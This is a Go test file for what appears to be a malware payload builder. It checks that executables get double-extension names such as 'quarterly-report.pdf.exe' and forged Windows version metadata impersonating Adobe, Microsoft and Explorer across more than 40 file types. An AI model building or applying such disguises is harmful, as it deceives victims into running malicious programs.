package builder

import (
	"encoding/json"
	"runtime"
	"strings"
	"testing"
)

func TestFileDisguiseForExtKnown(t *testing.T) {
	info := fileDisguiseForExt(".pdf")
	if info.OriginalFilename != "AcroRd32.exe" {
		t.Fatalf("pdf disguise: %+v", info)
	}
	if info.CompanyName != "Adobe Inc." {
		t.Fatalf("expected Adobe, got %q", info.CompanyName)
	}
}

func TestFileDisguiseForExtFallback(t *testing.T) {
	info := fileDisguiseForExt(".unknownext")
	if info.ProductName != "Windows" {
		t.Fatalf("fallback disguise: %+v", info)
	}
	if info.OriginalFilename != "Explorer.exe" {
		t.Fatalf("fallback filename: %q", info.OriginalFilename)
	}
}

func TestFileDisguiseForExtCaseInsensitive(t *testing.T) {
	a := fileDisguiseForExt(".PDF")
	b := fileDisguiseForExt(".pdf")
	if a.OriginalFilename != b.OriginalFilename {
		t.Fatal("case should not matter")
	}
}

func TestDisguisedRunnerNameDoubleExtension(t *testing.T) {
	got := disguisedRunnerName("quarterly-report.pdf")
	if got != "quarterly-report.pdf.exe" {
		t.Fatalf("got %q", got)
	}
}

func TestDisguisedRunnerNamePlainExe(t *testing.T) {
	got := disguisedRunnerName("setup.exe")
	if got != "setup.exe" {
		t.Fatalf("got %q", got)
	}
}

func TestDisguisedRunnerNameNoExtension(t *testing.T) {
	got := disguisedRunnerName("payload")
	if got != "payload.exe" {
		t.Fatalf("got %q", got)
	}
}

func TestDisguisedRunnerNameSanitizes(t *testing.T) {
	got := disguisedRunnerName("bad/name.pdf")
	if strings.Contains(got, "/") {
		t.Fatalf("sanitized name still has slash: %q", got)
	}
}

func TestWinresVersionJSON(t *testing.T) {
	info := fileDisguiseForExt(".docx")
	raw, err := winresVersionJSON(info, "icon.ico")
	if err != nil {
		t.Fatal(err)
	}
	var doc map[string]any
	if err := json.Unmarshal(raw, &doc); err != nil {
		t.Fatal(err)
	}
	ver, ok := doc["RT_VERSION"].(map[string]any)
	if !ok {
		t.Fatal("missing RT_VERSION")
	}
	block, ok := ver["#1"].(map[string]any)
	if !ok {
		t.Fatal("missing version block")
	}
	en, ok := block["0409"].(map[string]any)
	if !ok {
		t.Fatal("missing 0409 locale")
	}
	if en["FileVersion"] != info.FileVersion {
		t.Fatalf("FileVersion mismatch: %v", en["FileVersion"])
	}
	fv := en["FILEVERSION"].(string)
	if !strings.Contains(fv, ",") {
		t.Fatalf("FILEVERSION should use commas: %q", fv)
	}
}

func TestFileDisguiseSummary(t *testing.T) {
	s := fileDisguiseSummary(".mp4")
	if !strings.Contains(s, "MP4") && !strings.Contains(s, "Video") {
		t.Fatalf("unexpected summary: %q", s)
	}
	if !strings.Contains(s, "Microsoft") {
		t.Fatalf("expected company in summary: %q", s)
	}
}

func TestApplyDocumentDisguiseNonWindowsNoOp(t *testing.T) {
	if runtime.GOOS == "windows" {
		t.Skip("applyDocumentDisguise is Windows-only; covered by disguise_windows.go integration")
	}
	h := &Handler{}
	if err := h.applyDocumentDisguise(".pdf", "runner.exe"); err != nil {
		t.Fatalf("non-windows stub should no-op: %v", err)
	}
}

func TestDisguiseByExtCoverage(t *testing.T) {
	if len(disguiseByExt) < 40 {
		t.Fatalf("expected many disguise entries, got %d", len(disguiseByExt))
	}
	for ext, info := range disguiseByExt {
		if !strings.HasPrefix(ext, ".") {
			t.Fatalf("extension %q should start with dot", ext)
		}
		if info.OriginalFilename == "" || info.ProductName == "" {
			t.Fatalf("incomplete disguise for %q", ext)
		}
	}
}
